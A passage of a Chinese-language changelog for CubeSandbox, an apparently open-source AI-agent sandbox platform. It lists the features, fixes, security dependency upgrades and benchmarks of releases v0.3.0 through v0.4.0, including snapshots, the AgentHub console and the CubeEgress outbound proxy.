**部署脚本支持从 `.env` 同步 CubeMaster 自定义端口**：`cubemaster.yaml` 引入 `__CUBE_SANDBOX_MYSQL_PORT__` / `__CUBE_SANDBOX_REDIS_PORT__` 占位符，由 `install.sh` 从 `.env` 文件自动替换，无需手动修改 YAML。 ### ⚙️ 工程改进 * **`cubecli`: 移除废弃的 `listmd` 命令**：删除无法访问的 `listmd` 子命令及其 128 行实现代码。 ### 🤖 CI / DevOps * **Claude 驱动的 AI 代码审查与 issue 分类自动化**：在 `.agents/agents/` 下引入五个 AI 审查 Agent（代码质量、性能、安全、测试覆盖率、文档准确性）。自动化工作流负责 PR 代码审查、重复 issue 检测和 issue 标签分类。新增 `scripts/gh.sh` 和 `scripts/edit-issue-labels.sh` 辅助脚本。 ### 📚 文档更新 * **新增 `CONTRIBUTING_zh.md`**：`CONTRIBUTING.md` 的完整中文翻译版本。 * **社区文档 PR 要求放宽**：`CONTRIBUTING.md` 和 `CONTRIBUTING_zh.md` 均改为支持单语种提交，双语文档为可选项。 * **计算节点端口分配范围文档化**：`docs/architecture/network.md`（中英文）新增三段端口范围说明：`10000–19999`（network-agent）、`20000–29999`（CubeProxy 沙箱访问）、`30000–65535`（CubeVS SNAT）。 * **新增社区文档章节**：VitePress 新增双语故障排查、用例和集成三个章节，并配置 CI 工作流强制执行双语一致性检查。 * **域名更新**：CNAME 从 `docs.cubesandbox.ai` 切换至 `cubesandbox.com`。 * **修复 `browser-sandbox` 示例**：新增缺失的 `load_dotenv()` 调用和 `python-dotenv` 依赖，确保 `.env` 变量在脚本运行前正确加载。 * **微信群二维码更新**。 --- --- url: https://cubesandbox.com/zh/changelog/v0.3.0.md --- ## 2026.06.02 发布 v0.3.0 CubeSandbox 0.3.0 引入了 **CubeCoW** Copy-on-Write 快照引擎，为 AI Agent 沙箱带来百毫秒级快照、克隆与回滚能力。本次发布还新增了 **AgentHub** 数字助理控制台（Preview 预览版）、**Web UI** 可视化管理界面，以及 **Go SDK**。82 个提交，22 位贡献者，这是开源以来规模最大的版本。 ### 🎯 核心特性 #### CubeCoW：快照、克隆与回滚 * **CubeCoW Copy-on-Write 快照引擎**（#360）：基于 reflink 的卷快照实现全生命周期 CoW 快照管理，提供高效的块级快照操作。可在任意时刻创建轻量、节省空间的检查点。 * **Soft-dirty 增量内存快照**（#389）：基于 soft-dirty 页面追踪实现逐周期增量内存快照，仅捕获首次全量快照后的脏页，大幅降低重复快照周期的时间和存储开销。 * **快照恢复与 vsock 处理**（#388）：快照恢复时正确重置 VSOCK 连接，确保回滚后连接状态干净。 * **快照 I/O 优化**（#400）：从所有快照写路径中移除不必要的 `sync_all()` 调用，在不影响数据完整性的前提下显著降低快照写入延迟。 * **示例套件与开发者指南**（#374）：完整的快照、回滚、克隆工作流示例与分步指南，包含可运行的代码。 * **Host-mount 暂停快照恢复修复**：修复了带有暂停 host-mount 文件系统的沙箱快照恢复问题。 #### AgentHub 数字助理控制台（Preview 预览版） * **AgentHub API 与 UI**（#420）：基于 CubeSandbox 构建的完整数字助理控制台，包括： * AgentHub 持久化层与助手生命周期管理 * OpenClaw 集成，支持 AI Agent 编排 * 快照时间线，支持可视化检查点创建与回滚 * 从任意快照克隆沙箱，创建并行探索环境 * 模板操作，复用助手配置 * 模型设置与企业微信通知配置 * 完整的中英文国际化支持 #### Web UI * **可视化管理界面**（#299）：浏览器直接访问的 Web 管理界面，支持沙箱、模板、集群节点的可视化管理。内置模板商店，可浏览和部署预构建的沙箱镜像。日常操作无需命令行。 ### 🛠️ SDK #### Python SDK（v0.2.1） * **模板创建 API**（#365）：支持从 Python 代码程序化创建沙箱模板，实现端到端自动化，无需 shell 命令。 * **envd 进程 API 迁移**（#1676a0fc）：命令执行改为通过 envd 进程 API，提高可靠性与一致性。 * **进程退出边界处理**（#a210dfc2）：修复 envd 进程生命周期管理中的边界情况，防止命令挂起。 * **Stderr 覆盖与文件回退加固**（#9e2c64ab）：改进错误输出捕获，加固文件操作回退路径。 * **envd 默认值与网络策略对齐**（#418）：将 envd 服务默认值和网络策略配置与服务端默认值对齐。 #### Go SDK（全新） * **Go SDK 首发**（#5de861ac, #3b5caf29）：完整的 Go SDK，提供类型安全的 API 绑定，支持沙箱生命周期管理，让 Go 应用原生创建、管理和销毁沙箱。 ### ✨ 功能增强 #### 部署 * **一键部署迁移至 systemd**（#331）：一键安装脚本现在通过 systemd 管理所有服务，提供正确的服务监控、故障自动重启和 `systemctl` 集成。 * **Docker Compose 容器生命周期管理**（#386）：容器生命周期管理迁移至 Docker Compose，简化多容器编排，改善重启行为。 * **安装前预下载检测**（#288）：在线安装脚本在下载前验证网络连通性和磁盘空间，避免安装中途失败。 * **健康检查与诊断脚本**（#305）：新增 `check.sh` 和 `collect-logs.sh`，用于一键部署的健康验证与日志收集。 * **Cgroup v2 CPU 控制器预检**（#367）：安装脚本检测 cgroup v2 CPU 控制器支持情况，缺失时在安装前给出明确指引。 * **网络代理就绪等待**（#304）：安装脚本等待 network-agent 完全就绪后再继续，消除初始化期间的竞态条件。 * **Docker 挂载目录防创建**（#417）：防止 Docker 在 bind-mount 文件路径自动创建目录，确保正确的挂载行为。 * **Guest 镜像优化**（#347）：创建后自动压缩 ext4 镜像并优化 Dockerfile，减小镜像体积和拉取时间。 #### 基础设施 * **集中化数据库迁移**（#385）：CubeMaster 使用 `goose` 管理数据库 schema 迁移，支持版本化、自动化的 schema 升级。 * **节点资源上报**（#382）：Cubelet 向 CubeMaster 上报已分配的节点资源（CPU、内存、磁盘），支持集群级资源感知。 * **基于路径的沙箱路由**（#334）：CubeProxy 支持基于路径的沙箱路由和共享后端解析，提升路由灵活性。 * **调度器指标**（#326, #301）：Cubelet 通过 `/v1/metrics` 暴露调度器 Prometheus 指标，支持沙箱调度与资源利用的实时监控。 ### 🐛 Bug 修复 * **暂停/恢复状态一致性**（#404）：修复 ttrpc 错误和 shim 事件导致的暂停/恢复状态漂移，确保沙箱生命周期状态一致。 * **Shim 就绪握手**（#398）：修复 shim 就绪握手因 stdout（fd 1）重定向而失效的问题，避免静默初始化失败。 * **网络资源泄漏**（#314）：修复沙箱创建时的网络资源泄漏，防止长时间运行后可用网络接口耗尽。 * **Host-mount 目录清理**（#333）：沙箱销毁后正确清理 host-mount 目录，避免磁盘空间累积。 * **Cloud Hypervisor 磁盘 API**（#337）：修复 Cloud Hypervisor 磁盘 API 端点使用错误，避免磁盘操作失败。 * **模板提交幂等性**（#336）：强制 requestID 唯一性并支持幂等提交复用，消除重试请求导致的重复模板提交。 * **配置解析**（#396）：修复 `NodeStatusUpdateFrequency` 使用 `tomlext.Duration` 以确保 TOML 时长正确解析。 * **输入校验**（#344）：在命令执行调用点增加输入校验，提前捕获无效参数。 * **并发 DNS 处理**（#363）：容忍并发 DNS dummy 接口创建，消除并行沙箱创建期间的竞态故障。 * **PMEM 边界对齐**（#351）：压缩后的 guest 镜像与 pmem 边界对齐，修复特定配置下的启动失败。 * **快速检查就绪**（#349）：等待 quickcheck 容器就绪后再继续，消除误报的健康检查失败。 * **服务绑定安全**（#269）：MySQL/Redis 默认绑定 localhost，CubeProxy 改用 host 网络模式，提升网络安全。 * **服务启动顺序**（#346）：`cube-proxy.service` 排在 `cube-sandbox-dns.service` 之后启动，避免 DNS 解析失败。 * **镜像摘要处理**（#303）：在模板中心中剥离镜像摘要的规范前缀，修复镜像引用不匹配问题。 * **暂停状态报告**（#270）：修复沙箱列表响应中的暂停状态显示，确保沙箱状态准确。 * **版本信息注入**（#327）：通过 ldflags 正确注入 cubelet 和 cubemaster 的构建版本信息。 ### 🔒 安全 * **Prometheus 升级**（#328）：升级 prometheus 客户端至 0.14.0，移除有漏洞的 `protobuf` 2.28.0 依赖。 * **reqwest 升级**（#323）：CubeAPI 升级 reqwest 至 0.12，修复 `rustls-webpki` 相关 CVE。 * **libseccomp 升级**（#321）：升级 libseccomp 至 0.3.0，修复 GHSA-2r23-gqr7-wr4h。 * **go-jose 版本提升**（#320）：提升 `go-jose/v4` 至最新安全版本。 * **gRPC 依赖更新**（#316）：更新 CubeMaster 中的 gRPC 依赖。 ### 📚 文档 * **更新日志重构**（#412, #416）：更新日志按版本拆分文件并建立索引页，导航更清晰。修复 README 中失效的 changelog 链接。 * **性能基准博客**（#419）：发布详细的性能基准测试文章，附可复现的压测脚本，涵盖启动延迟和资源开销指标。 * **博客系统**（#306, #340）：新增博客系统，支持本地搜索和维护者指南。发布「从 Serverless 到 Agent」、PVM 部署指南等社区文章。 * **品牌标识**（#329）：文档站点新增官方 Logo 和 favicon。 * **故障排查指南**（#313）：新增中英文双语的部署和模板创建故障排查子页面。 * **文档交叉引用修复**（#372）：修复文档交叉引用中缺失的 `.md` 扩展名。 * **示例与教程修复**（#406, #407, #377）：修复 create-from-image 教程中的探针路径，将占位 API key 统一为 `e2b_` 前缀，更正克隆状态文档说明。 ### ⚙️ 工程优化 * **内核源码迁移**（#395）：将内核源码从 Gitee 迁移至 CNB，并增强解压逻辑。 * **CI/CD 加固**（#330, #335, #338, #393）：新增文档构建检查工作流，修复 CR 工作流，启用外部 PR 自动审查，添加默认 shell 配置并优化制品获取。 * **废弃 API 移除**（#339）：移除代码库中的废弃 `rand.Seed` 调用。 * **Rust 依赖刷新**（#9f8df42f）：在 hypervisor crate 中将 `crossbeam-channel` 从 0.5.13 升级至 0.5.15。 ### 👏 贡献者 22 位贡献者共同完成了此版本： @fslongjin, @ls, @tinklone, @kami-lu, @chenggui53, @cherrycao, @Hengqi Chen, @NovaHe, @maxlong, @Yi Wang, @liciazhu, @Nemo, @Feng King, @Songqian Li, @Joohwan., @Stary, @xiongxz, @yangjie, @YangYuS8, @wangchenglong-hj, @John Eismeier, @dependabot\[bot] --- --- url: https://cubesandbox.com/zh/changelog/v0.3.1.md --- ## 2026.06.04 发布 v0.3.1 CubeSandbox 0.3.1 是 v0.3.0 之后的稳定性与加固版本，专注于一键安装脚本的健壮性增强、网络稳定性修复、AgentHub 功能完善，以及基于真实基准测试数据的文档扩展。14 个提交，7 位贡献者。 ### ✨ 功能增强 #### 一键部署 * **自定义沙箱网络 CIDR**（#451）：用户现在可以在安装时通过 `CUBE_SANDBOX_NETWORK_CIDR` 指定沙箱网络 CIDR，以规避与宿主机现有网络子网的冲突。支持 CIDR 格式校验、宿主机接口/路由重叠检测，并提供绕过标志（`CUBE_SANDBOX_NETWORK_CIDR_SKIP_CONFLICT_CHECK`）用于高级场景。配置成功后会持久化到 `.one-click.env`。 * **Systemd 255 ExecStart/ExecStop 兼容**（#451）：为所有 `ExecStart`、`ExecStartPre`、`ExecStartPost` 和 `ExecStop` 指令添加 `/usr/bin/bash` 前缀，避免 OpenCloudOS 9.4+ 上 `systemd-executor` 导致的 `203/EXEC` 错误。 * **glibc 版本预检**（#457）：安装脚本现在会在安装前检查 glibc >= 2.34，在不支持的发行版（如 CentOS 7、Ubuntu 20.04）上提前失败，避免 cubelet/cubecli 二进制文件在运行时崩溃。 * **PVM 一致性预检**（#456）：当宿主机加载了 `kvm_pvm` 内核模块时，安装脚本会验证是否设置了 `CUBE_PVM_ENABLE=1`。如果没有此检查，PVM 宿主机将静默安装错误的 guest 内核（普通 vmlinux 而非 vmlinux-pvm），导致 VM 模板创建在后续阶段以难以排查的错误失败。可通过 `ONE_CLICK_SKIP_PVM_CHECK=1` 跳过。 #### AgentHub（Preview 预览版） * **快照/回滚 API 路由**（#426）：为 AgentHub 添加了快照创建和回滚端点，使数字助理控制台能够管理沙箱检查点。 * **预览按钮与沙箱打开逻辑**（#426）：WebUI 现在包含预览按钮和沙箱打开功能，并修复了模板商店的默认值问题。 * **预览功能文档**（#426）：新增中英文双语的 AgentHub 预览功能使用指南。 ### 🐛 Bug 修复 * **修复 network-agent 重启导致现有沙箱网络中断**（#442）：当 `network-agent` 重启时，`restoreTap()` 无条件尝试通过 `TUNSETIFF` 获取 TAP fd，即使该 TAP 仍被运行中的沙箱持有。由于 `IFF_ONE_QUEUE`，内核以 `EBUSY` 拒绝第二次打开，TAP 被推入异常池，清理分支将其 BPF 映射条目删除——导致出口流量被静默丢弃。修复方案：当 `tap.InUse` 为 true 时跳过 `getTapFd`，并在没有可用 fd 时向调用方返回明确错误。 * **延迟宿主机 DNS 切换至 CoreDNS 就绪后**（#452）：首次安装时，在 CoreDNS 监听之前就改写了宿主机 `resolv.conf`，导致 DNS 死锁。安装脚本现在等待 CoreDNS 绑定端口，保留一个上游回退 DNS 服务器，并在上游解析路径中过滤预留的 nameserver 地址。 #### 开发环境 * **更新默认 OpenCloudOS 镜像至 9.6**（#447）：OpenCloudOS 9.4 qcow2 镜像在 `mirrors.tencent.com` 上已不再可用，下载失败。将 `prepare_image.sh` 和 `run_vm.sh` 中的默认镜像 URL 升级至最新的 9.6-20260514.2 GenericCloud 镜像。 ### 📚 文档 * **SA9.4XLARGE32 PVM 基准测试报告（中英文）**（#459）：在腾讯云 SA9.4XLARGE32（AMD EPYC 9K65、16 vCPU、32 GiB 内存、200 GiB 增强型 SSD、PVM 内核）上的完整基准测试报告，涵盖冷启动延迟、并发扩展（c=1/10/20）、单机密度（约 743 个空闲沙箱，单个约 27-34 MB）、快照创建与并发及脏页大小的关系、从快照创建、回滚、克隆、暂停/恢复等并发性能。中英文两个版本均已包含。 * **BMI5 裸金属基准测试数据**（#450）：用来自腾讯云 BMI5 裸金属节点的真实实测数据替换性能基准测试文章（中英文）中的所有模拟/占位数据。重构压测脚本为单层 CLI 风格，以支持可组合的多层扫描，并添加 TAP 池扩容说明。 * **v0.3.0 发布博客**（#441）：新增中英文 v0.3.0 发布博文（快照/克隆/回滚、AgentHub、Web UI、Go SDK），并将精选文章排序重新调整，v0.3.0 权重最高。 * **trpc-agent-go 用例**（#446）：新增用例文档，介绍 `trpc-agent-go` 如何基于 Cube Sandbox 作为安全代码执行后端，中英文侧边栏均已添加条目。 * **性能基准文章修复**（#440）：修复 `vmm.log` 路径，在 2.2 节添加模板创建命令，将通用约定从 3.1 节移至 4.0 节，中英文两个版本均已更新。 * **磁盘空间要求更新**（#425）：将 `/data/cubelet` 的最低磁盘空间要求从 300 GB 降低至 50 GB，构建多个模板时建议 200 GB 及以上。 * **移除重复的快速开始链接**（#430）：清理 README 中重复的快速开始链接入口，仅保留顶部导航栏。 ### 👏 贡献者 7 位贡献者共同完成了此版本： @LoGin (jinlong), @ls (ls-ggg), @cherrycao, @chengjoey, @Hengqi Chen, @joeytao, @tinklone (maxlong) --- --- url: https://cubesandbox.com/zh/changelog/v0.4.0.md --- ## 2026.06.14 发布 v0.4.0 CubeSandbox 0.4.0 引入了 **CubeEgress**，一个基于 OpenResty 的安全代理，为沙箱出站流量提供凭据注入、域名过滤和访问审计能力。本版本还带来了**容器日志转发**及配套的 `cubecli logs` 命令、**节点组件版本矩阵**（集群范围版本可见性）、**模板副本兼容性检查**、**无守护进程的模板镜像构建管线**，以及显著的**网络性能提升**（网络 P50 延迟降低 35%）。构建基础镜像已降级至 `ubuntu:20.04`，将最低 glibc 要求从 2.34 降低到 2.31，以覆盖更广泛的发行版。58 个 commits，15 位贡献者。 ### 🎯 主要特性 #### CubeEgress：安全代理 CubeEgress 是一个全新的基于 OpenResty 的出站网关，通过 TPROXY 截获沙箱出站流量，在请求离开集群之前执行 L7 策略。它由运行在 OpenResty/nginx 上的 9 个 Lua 模块（约 2200 行代码）以及 Go 端的集成组成——CubeMaster（CA 颁发、策略下发）、network-agent（TPROXY iptables 规则）和 Cubelet（按沙箱路由、protobuf 出站规则模型）。 * **凭据注入**（#518）：每个沙箱的密钥通过 `EgressRule.inject` 在代理层附加到出站请求中——沙箱内的用户代码永远不会接触到原始凭据。`CubeNetworkConfig` protobuf 消息（原 `CubeVSContext`）现在携带 L7 出站规则，包含匹配条件（SNI、host、method、path、scheme）和动作（allow/deny、audit、inject）。凭据信息在 CubeMaster 安全日志输出中被替换为 `***REDACTED***`（#520）。 * **域名过滤**（#518）：基于策略的 allow/deny 列表控制沙箱可访问的目标地址，按 L7 请求进行首次匹配即生效。即使设置了基于域名的 allow-out 规则，DNS 查询仍被允许（38fe9977）。 * **访问审计**（#518）：每个出站请求的结构化 JSON 日志，支持通过 `redactor` Lua 模块进行可选的请求体脱敏，便于下游合规审查。 * **Kernel 5.4 兼容**（38fe9977）：安全代理可在 kernel 5.4+ 上运行，扩大了部署覆盖范围。 * **CubeVS 快速路径加固**（#527）：在端口映射的 BPF 快速路径中拒绝纯 SYN 包，防止客户发起的连接尝试绕过出站策略。 * **TAP TX 卸载**（#505）：在 TAP 设备上启用 TX checksum/TSO 卸载和 `tx-tcp-mangleid-segmentation`，使重定向的数据包在到达客户机之前无需进行 GSO。 * **CubeEgress 版本上报**（9d76195e）：CubeEgress 接入节点组件版本矩阵，具备构建时版本元数据注入、`/admin/v1/health` 端点扩展、发布清单条目和 cubelet 端基于文件的版本采集能力。 新增文件：`CubeEgress/`（20 个文件——Lua 模块、nginx 配置、Dockerfile、iptables 脚本、systemd 单元、CA 生成）；`CubeMaster/pkg/service/httpservice/cube/ca_download.go`；`CubeMaster/pkg/templatecenter/cube_egress_ca/`；`CubeMaster/pkg/templatecenter/cube_egress_ca_bake.go`；数据库迁移 `0005_cube_egress.sql`。 #### 容器日志转发 容器 init 进程的 stdout/stderr 现在通过专用的 vsock 连接从 agent 流式传输到 shim，并追加到宿主机的日志文件中。新增的 `cubecli cubebox logs` 子命令允许运维人员从沙箱外部读取这些日志。 * **日志流式传输**（#535）：shim 向 OCI 规范注入 `cube.container.log_forwarding=true` 注解，指示 agent 为 init 进程创建 stdout/stderr 管道（1 MiB 缓冲区，`O_NONBLOCK`）。专用的 vsock 通道将日志流传输到 shim，在模板构建期间写入 `/data/log/template/<id>/stdout|stderr`，普通沙箱写入 bundle 目录下的 `./stdout` 和 `./stderr`。日志转发在暂停/快照/销毁之前会被干净地取消，进程退出时管道的写端文件描述符被关闭以确保读取端收到 EOF（#541）。exec I/O 中继（基于 FIFO）与 init 日志转发保持分离。 * **`cubecli cubebox logs`**（#528）：新增子命令，用于从 `/data/cubelet/state/io.containerd.runtime.v2.task/default/<id>/stdout|stderr` 读取容器 stdout/stderr。支持 `--tail N`、`--head N`、`--all` 和 `--stderr` 选项。由于日志文件位于 cubelet 的挂载命名空间内，该命令通过 `pkg/cubemnt/nsenter.c` 中现有的 C 构造函数重新执行自身，在任何 Go 代码运行之前安全地进入该命名空间。包含 `openNoFollow()` 路径验证以防止符号链接跟随攻击。 #### 节点组件版本矩阵 全新的版本追踪基础设施为运维人员提供了集群范围内所有节点组件版本的可见性，并配有专属的 Web UI 页面。 * **版本采集与矩阵**（#500）：Cubelet 采集各组件版本（guest-image、cube-agent、kernel，以及来自发布清单的控制面组件），并上报给 CubeMaster。CubeMaster 在 `node_component_version` 表（数据库迁移 `0004`）中维护版本矩阵，按组件对报告同一版本的节点进行分组，暴露版本偏差，并通过 CubeAPI 对外提供汇总和详情接口。 * **统一的版本注入**（#493）：所有 Go 和 Rust 二进制文件现在通过 ldflags / `build.rs` 接收 version、commit 和 build-time 元数据。一键部署发布包中生成机器可读的 `release-manifest.json`，确保每个构建产物都可追溯到同一发布版本。`cubecli version` 和 `cubemastercli version` 的输出格式在各组件间保持一致。 * **Web UI 版本页面**（#500, #481）：新增 `Versions.tsx` 页面（762 行），支持中英文国际化，展示各组件在节点间的版本分布。侧边栏和设置页的"关于"部分现在显示实际的发布标签（构建时注入为 `__APP_VERSION__`），而非硬编码的版本号。 新增文件：`CubeMaster/pkg/nodemeta/versionmatrix.go`；`web/src/pages/Versions.tsx`；`web/src/locales/en/versions.json`、`zh/versions.json`；数据库迁移 `0004_node_component_version.sql`。 #### 模板副本兼容性 模板副本现在与节点组件版本进行对比检查，过时/缺失的副本会在 API 和 Web UI 中暴露出来。 * **兼容性矩阵与版本绑定**（#510）：模板兼容性系统将每个模板绑定的组件版本（guest-image、cube-agent、kernel）与每个节点当前上报的版本进行比较。结果存储在 `template_versions` 表（数据库迁移 `0006`）中，通过 `/templates/compat`（汇总）和 `/templates/compat/{id}`（单个模板详情）接口对外暴露。版本绑定管理允许运维人员在创建时将模板固定到特定的组件版本。 * **Web UI**（#545）：模板详情页现在展示每个副本的兼容性标记、绑定版本与当前组件版本之间的版本差异，以及过时副本的警告横幅（含重建触发器）。新增组件：`CompatBadge`、`CompatSection`、`CompatWarning`、`CompatNodeCard`、`VersionDeltaList`。 新增文件：`CubeMaster/pkg/templatecenter/compat.go`；`CubeMaster/pkg/service/httpservice/cube/template_compat.go`；数据库迁移 `0006_template_replica_compat.sql`。 #### 模板镜像构建管线重构 模板镜像构建管线经过重新架构，支持通过 skopeo/umoci 进行无守护进程操作，峰值磁盘使用量降低 72%，并具备文件级内容去重能力。 * **无守护进程导出路径**（#492, #506）：当 CubeMaster 节点上可用 skopeo 和 umoci 时，模板镜像通过 `skopeo copy` 拉取到本地 OCI 布局，并用 `umoci unpack --rootless` 解包，完全消除对 Docker 守护进程的依赖。不可用时自动回退到 Docker 以保证向后兼容。导出策略在镜像解析时一次性选定，确保准备和导出阶段保持一致。 * **制品管理**（#506）：新增 job runner 编排完整管线（镜像导出 → rootfs 制品构建 → 分发），支持 redo（重做）操作并可从中断的阶段恢复。文件级内容指纹（SHA256）实现制品跨构建去重，制品清理通过结构化的生命周期进行管理。Redo 操作现在通过 working request 携带正确的模板 ID（#544）。 * **磁盘使用优化**（#472）：通过五项互补优化，将镜像到 ext4 构建过程中的峰值磁盘使用量从约 4.2 倍镜像大小降低到约 1.2 倍： 1. **管道流式导出**：Docker export 的标准输出通过 1 MiB 管道（`F_SETPIPE_SZ`）直接连接到 `tar -xf` 的标准输入，消除中间的 `rootfs.tar` 文件。 2. **提前清理工作目录**：rootfs 到达存储目录后立即删除临时工作目录，而非等到 ext4 创建完成之后。 3. **精确的 ext4 空间估算**：将 2 的幂次对齐替换为三重开销模型（固定 256 MiB + 数据的 10% + 每文件 1 KiB），按 256 MiB 边界对齐。 4. **直接导出到存储目录**：在本地快速文件系统上（通过 statfs magic 检测），rootfs 直接导出到存储目录，跳过 workDir→storeDir 的搬迁步骤。NFS/CIFS 回退到搬迁路径以避免跨设备复制。 5. **磁盘空间预检查**：构建开始前对存储目录父目录进行 statfs 检查，配合可配置的安全边界（`CUBEMASTER_DISK_SPACE_SAFETY_MARGIN`，默认 1.5 倍）。 SHA256 计算使用 4 MiB 缓冲区以减少 read 系统调用。基于 loop-mount 的流式 ext4 构建阶段（由 `CUBEMASTER_LOOP_MOUNT_EXT4_ENABLED` 控制，默认关闭）也已实现，含 `CAP_SYS_ADMIN` 能力检测。 * **SDK 对齐**（#485）：CubeAPI `POST /templates` 以及 Python/Go SDK 现在支持 DNS、出口 CIDR、镜像仓库认证、command/args、网络类型和节点范围等选项，与 `cubemastercli template create-from-image` 的完整选项集保持一致。 新增文件：`CubeMaster/pkg/templatecenter/image/`（export、ext4、disk、command、ref、source、types、paths、util）；`CubeMaster/pkg/templatecenter/artifact_build.go`、`artifact_cleanup.go`、`distribution.go`、`fingerprint.go`、`image_job_runner.go`、`job_constants.go`、`job_dto.go`。 #### 网络性能 * **TAP fd 获取优化**（#487）：三层的 `GetTapFile` 策略取代了旧的单一获取路径： * **快速路径**：当 `state.tap.File` 已缓存时立即返回（0 次系统调用）。 * **热路径**：对于 fd 已关闭的池化 tap，仅需 2 次系统调用（`open` + `TUNSETIFF`）重新打开，跳过昂贵的 `restoreTap` 流程（netlink 查找、`LinkSetUp`、`SetMTU`、TC filter 挂载、ARP 条目）。 * **恢复路径**：仅当没有内存状态或 tap 被外部持有时，才回退到完整的 `restoreTap`。 fdserver JSON 响应现在包含 ifindex，使 cubelet 可以跳过自身的 `netlink.LinkByName` 调用——消除了并发沙箱创建过程中的一个序列化点。当 ifindex 为 0 时 cubelet 回退到 `LinkByName`（与旧版 agent 向后兼容）。 通过用注册在同一临界区内的 per-sandbox `creating` 守护通道替换 singleflight 风格的去重，修复了 `EnsureNetwork` 和 `ReleaseNetwork` 之间的 TOCTOU 竞态条件。包含 pprof 调试服务器（`--pprof-listen` 选项）和 390 行并发测试（6 个测试函数，64 协程压力测试通过 `-race` 检测）。 基准测试（BMI5, Xeon Platinum 8255C, kernel 6.6.119）：网络 P50 35.3→23.1ms（**提升 35%**），网络 P99 86.6→51.2ms（**提升 41%**），总 P50 106.1→92.0ms（**提升 13%**），吞吐量 194.8→209.8 sandboxes/s（**提升 8%**）。 * **BPF 校验和优化**（#469）：在 `from_world` 和 `from_cube` 两个 BPF 程序中，将 `bpf_csum_diff()` 替换为 `bpf_{l3,l4}_csum_replace` 辅助函数。结合 TAP TX 卸载工作（#505），使 TSO/UFO/CSUM 卸载得以在 virtio-net TAP 上重新启用（回滚 #110），同时取消了对宿主机网卡的 `disableGRO()` 要求。 ### ✨ 功能增强 #### 调度 * **可配置的超卖比例和 Redis 分配旁路**（#525）：新增两个调度器配置参数：`overcommit_ratio`（默认 CPU=3, Mem=2），支持通过 `overcommit_ratio_conf` 按实例类型覆盖；`ignore_redis_allocation`（默认 false），将 Redis 中记录的已分配资源视为零。在 filter 和 score 插件中一致生效，非正数的比例值会被重置为默认值。物理负载保护（CPU 利用率上限、实时空闲内存）被有意保留。 #### 亲和性 * **自定义节点亲和性选择器**（#504, #467）：`com.nodeaffinity.selector` 注解现在接受任意的 `NodeSelectorRequirements`（In、NotIn、Exists、DoesNotExist、Gt、Lt），以 JSON 数组 `{key, operator, values}` 的形式传入。节点注册标签通过 `Node.NodeLabels` 传递，合并到 `Labels()` 中，并使用 `atomic.Pointer` 缓存和 `InvalidateLabelsCache()` 确保变更安全。DoS 防护：最大注解大小 4 KB，每个请求最多 10 个选择器，每个 In/NotIn 最多 50 个值。可配置的允许键默认包括 zone、cluster-id、cpu-type、memory-size、cpu-cores、instance-type。872 行测试覆盖 47 个场景。 #### 模板管理 * **tpl- 前缀强制**（#474）：所有创建路径（API、CLI、Web UI、沙箱提交）的模板 ID 现在统一自动生成 `tpl-` 前缀。为保持向后兼容，用户指定的 ID 仍然被接受但会被静默忽略——服务端始终返回自动生成的 `tpl-` 前缀 ID 作为权威模板标识符。验证逻辑拒绝裸的 `tpl-` / `snap-` 前缀以及不符合规范的注解前缀。 * **构建镜像降级至 ubuntu:20.04**（#468）：构建基础镜像从 `ubuntu:22.04` 更换为 `ubuntu:20.04`，将最低 glibc 要求从 2.34 降至 2.31。影响 `Dockerfile.builder`、一键部署预检脚本、CI 工作流和文档。 #### Web UI * **模板策略展示**（#486）：模板详情页现在展示环境变量、网络类型、互联网访问权限、DNS 服务器、allow-out 规则和 deny-out 规则（从 `createRequest` 解析）。新增的"网络策略"区域包含每条规则的快捷复制按钮。`BoolBadge` 组件被提取为共享 UI 原语。 * **CubeAPI 容器镜像**（#513）：为 cube-api 服务提供容器构建，产出适合一键部署和编排部署的自包含运行时镜像，构建上下文精简。 #### SDK * **Python SDK v0.3.0**（#521）：升级至 0.3.0，新增安全代理相关的 API。 #### PVM * **内核 LOCALVERSION 重命名**（#511, #534）：PVM 宿主机和客户机内核的 `LOCALVERSION` 被重命名为清晰、自描述的风格，使发行版基础和宿主机/客户机角色可通过 `uname -r` 一目了然。部署配置、用户指南和博客引用均已同步更新。 ### 🐛 Bug 修复 以下修复针对 v0.3.1 中已存在的问题： * **shareDirs 为空时跳过 virtiofs 配置**（#533）：当没有指定共享目录时，Cubelet 不再生成 virtiofs 配置或注解，防止产生无效的配置。 * **自动将 DNS 服务器 IP 加入 AllowOut**（#526）：当配置了任何 DNS 规则时，DNS 服务器 IP 现在会被自动加入 `AllowOut`，确保 DNS 解析能够通过出站策略。包含回归测试覆盖。 * **Cubelog nil trace panic**（#512）：没有请求追踪上下文的后台 worker 和分离的 job 上下文不再因空指针解引用而 panic——trace 处理现在对缺失的 trace 具备容错能力。 * **存储清理时的符号链接解析**（#530）：`cleanupHostDirVolumes` 现在遍历沙箱目录时会解析基础路径的符号链接，使得位于符号链接路径下（如 `/data → /mnt/ssd/data`）的 bind mount 能够被正确识别并卸载，避免泄漏或误删后端目录。 * **网络插件启动警告**（#491）：Cubelet 启动时不再将合法的网络配置键记录为"未知 TOML 字段"——读取启动覆盖配置时现在复用现有的配置结构体。 * **禁用互联网时不自动放行 DNS**（#490）：当 `AllowInternetAccess=false` 时，解析出的 DNS 服务器不再被追加到 `allow_out`，使 deny-all 出站策略能够一致地阻断 DNS 解析。修复 #408。 * **移除一键部署运行时对 ripgrep 的依赖**（#496）：一键部署安装和启动路径不再要求或自动安装 `ripgrep`。Shell 检查已改用基于 grep 的辅助函数。 * **Virtiofs migration\_on\_error 设为 GuestError**（#482）：原生 virtiofs 服务器现在使用 `MigrationOnError::GuestError` 替代 `Abort`。快照恢复期间的单文件错误会以客户机 FS 错误（ENOENT/EIO）的形式体现在受影响的路径上，而不会中断整个热迁移。 * **VMM virtio-fs 队列容错**（#464）：`process_queue_serial()` 不再因畸形描述符而 panic。失败时通过向客户机回复 EIO FUSE 错误并继续处理队列来恢复。新增 `device_memory` 视图用于设备后端内存区域（virtio-pmem、virtio-fs DAX、ivshmem/zshm BAR）。 * **Cgroup v2 管理器创建**（#488）：Agent 现在使用 `cgroups-rs` 提供的 cgroup v2 创建路径，并通过 `cgroup.procs` 挂载容器进程，避免了在 unified cgroup 模式下使用 v1 控制器名称导致的失败。清理和信号发送的进程 ID 收集也从 `cgroup.procs` 读取。 * **心跳超时后节点健康过期**（#455）：节点健康现在从心跳新鲜度中推导——过时的心跳在 nodemeta 读取、localcache 读取和调度器 prefilter 中都会被正确地报告为不健康。共享的辅助函数统一了这三条路径中的超时规则。 * **一键部署安装后恢复 SELinux 上下文**（#471）：安装前缀下的文件上下文现在会在启动 systemd 服务之前恢复，修复了 SELinux Enforcing 